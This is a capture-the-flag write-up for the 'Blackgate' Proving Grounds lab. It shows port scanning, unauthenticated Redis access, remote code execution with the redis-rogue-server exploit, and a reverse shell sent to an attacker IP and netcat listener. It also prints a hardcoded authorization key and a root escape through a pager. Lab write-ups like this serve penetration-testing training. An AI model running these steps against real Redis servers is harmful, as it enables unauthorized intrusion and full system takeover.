Skip to content
HackIndex logo

HackIndex

Blackgate Writeup - Proving Grounds

Hard Linux

Last updated July 14, 2026 3 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1
6379/tcp open  redis   Redis key-value store 4.0.14

Two ports: SSH and Redis. Redis 4.0.14 is exposed without any authentication configured — confirmed immediately.

Redis Enumeration

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 6379 --script redis-info $TARGET_IP
Version: 4.0.14
Operating System: Linux 5.8.0-63-generic x86_64
Role: master
Bind addresses: 0.0.0.0

Redis is bound to all interfaces with no password and protected mode disabled. Full unauthenticated access:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 PING
PONG

Check authentication and access controls:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 CONFIG GET requirepass
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 CONFIG GET protected-mode
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 CONFIG GET dir
requirepass: (empty)
protected-mode: no
dir: /tmp

No keys in the keystore — this is a fresh instance, not a data exfiltration target. The attack surface is RCE via Redis module loading, which requires loading a compiled shared object from a rogue Redis server acting as a master.

Initial Access

Redis Rogue Server — Unauthenticated RCE

Redis 4.x/5.x allows replication from an external master. An attacker-controlled rogue Redis server can push a malicious .so module to the target instance, which then loads it via the MODULE LOAD command — resulting in arbitrary OS command execution.

The exploit is redis-rogue-server from github.com/n0b0dyCN/redis-rogue-server. It handles the full replication handshake and module delivery automatically.

Start a listener, then run the rogue server:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ python3 redis-rogue-server.py --rhost $TARGET_IP --lhost $ATTACKER_IP
[info] TARGET 192.168.237.176:6379
[info] SERVER 192.168.45.192:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
What do u want, [i]nteractive shell or [r]everse shell: r
Reverse server address: 192.168.45.192
Reverse server port: 1111
[info] Reverse shell payload sent.
[+] Reverse shell connected from 192.168.237.176:36696
user@host ~ $ ls /home
user@host ~ $ prudence
user@host ~ $ whoami
user@host ~ $ prudence

Shell as prudence. Grab local.txt from /home/prudence/.

Privilege Escalation

Hardcoded Password in SUID Binary — sudo redis-status

Check sudo permissions:

user@host ~ $ sudo -l
User prudence may run the following commands on blackgate:
    (root) NOPASSWD: /usr/local/bin/redis-status

The binary is SUID and runs as root. Inspect it with strings:

user@host ~ $ strings /usr/local/bin/redis-status
[*] Redis Uptime
Authorization Key:
ClimbingParrotKickingDonkey321
/usr/bin/systemctl status redis
Wrong Authorization Key!
Incident has been reported!

The authorization key is embedded in plain text. The binary prompts for it, then calls systemctl status redis. Upgrade the shell first to get a proper TTY, then run it:

user@host ~ $ python3 -c 'import pty; pty.spawn("/bin/sh")'
user@host ~ $ sudo /usr/local/bin/redis-status
[*] Redis Uptime
Authorization Key: $REDIS_STATUS_PASSWORD

systemctl status opens its output in a pager (less). From inside less, escape to a shell:

user@host ~ $ !/bin/bash
root@blackgate:~#

Root shell. Grab proof.txt from /root/.

References